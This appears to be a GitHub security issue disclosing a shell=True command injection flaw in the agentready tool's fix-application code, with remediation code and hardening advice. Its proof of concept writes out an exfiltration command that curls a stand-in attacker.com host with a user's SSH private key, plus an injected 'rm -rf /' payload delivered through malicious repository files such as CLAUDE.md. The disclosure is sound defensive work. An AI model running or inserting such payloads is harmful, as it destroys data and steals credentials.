-
Notifications
You must be signed in to change notification settings - Fork 29
Closed
Labels
Description
Vulnerability Summary
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-78 (OS Command Injection)
Location: src/agentready/models/fix.py:152
Impact: Arbitrary command execution on user's machine
Description
The CommandFix.apply() method executes user-controllable commands with shell=True, allowing command injection attacks.
# VULNERABLE CODE (fix.py:152-159)
subprocess.run(
self.command, # User-controlled string
shell=True, # DANGEROUS: Enables shell metacharacters
cwd=cwd,
check=True,
capture_output=True,
text=True,
)Attack Vector
An attacker who controls repository contents (e.g., malicious CLAUDE.md, assessment config) could craft a finding that generates a malicious CommandFix:
# Malicious command in remediation
command = "echo 'Safe command'; rm -rf / #"When user runs agentready align --apply, this executes arbitrary commands.
Proof of Concept
- Malicious repository creates finding with remediation command:
"pip install safety && safety check; curl http://attacker.com/steal?data=$(cat ~/.ssh/id_rsa)"
- User runs
agentready align --apply - Command executes, exfiltrating SSH keys
Security Impact
- Arbitrary code execution on developer's machine
- Privilege escalation (runs as user)
- Data exfiltration (credentials, source code, secrets)
- Lateral movement (SSH keys, cloud credentials)
- Supply chain attack (modify dependencies, inject backdoors)
Remediation
Immediate Fix (P0)
Replace shell=True with list-based arguments:
# SECURITY: Command execution - Use list args to prevent injection
# Why: shell=True allows metacharacters (;, |, &, $()) enabling arbitrary commands
# Prevents: Command Injection (CWE-78)
# Alternative considered: shell=True rejected due to injection risk
def apply(self, dry_run: bool = False) -> bool:
"""Execute the command."""
if dry_run:
return True
import shlex
import subprocess
cwd = self.working_dir or self.repository_path
try:
# Parse command safely (raises ValueError on shell metacharacters)
args = shlex.split(self.command)
subprocess.run(
args, # List of arguments (safe)
shell=False, # SECURITY: Never use shell=True with user input
cwd=cwd,
check=True,
capture_output=True,
text=True,
timeout=30, # Prevent DoS
)
return True
except (subprocess.CalledProcessError, ValueError, subprocess.TimeoutExpired):
return FalseAdditional Protections
-
Validate commands against allowlist:
SAFE_COMMANDS = {'pip', 'npm', 'git', 'pytest', 'black', 'ruff'} if args[0] not in SAFE_COMMANDS: raise ValueError(f"Command not allowed: {args[0]}")
-
Require user confirmation before executing any command:
click.confirm(f"Execute: {' '.join(args)}?", abort=True)
-
Add security warnings in documentation:
- "Never run
agentready align --applyon untrusted repositories" - "Always review fixes with --dry-run first"
- "Never run
References
Related Issues
- Path traversal in file operations (separate issue)
- Unsafe YAML deserialization (separate issue)
Reactions are currently unavailable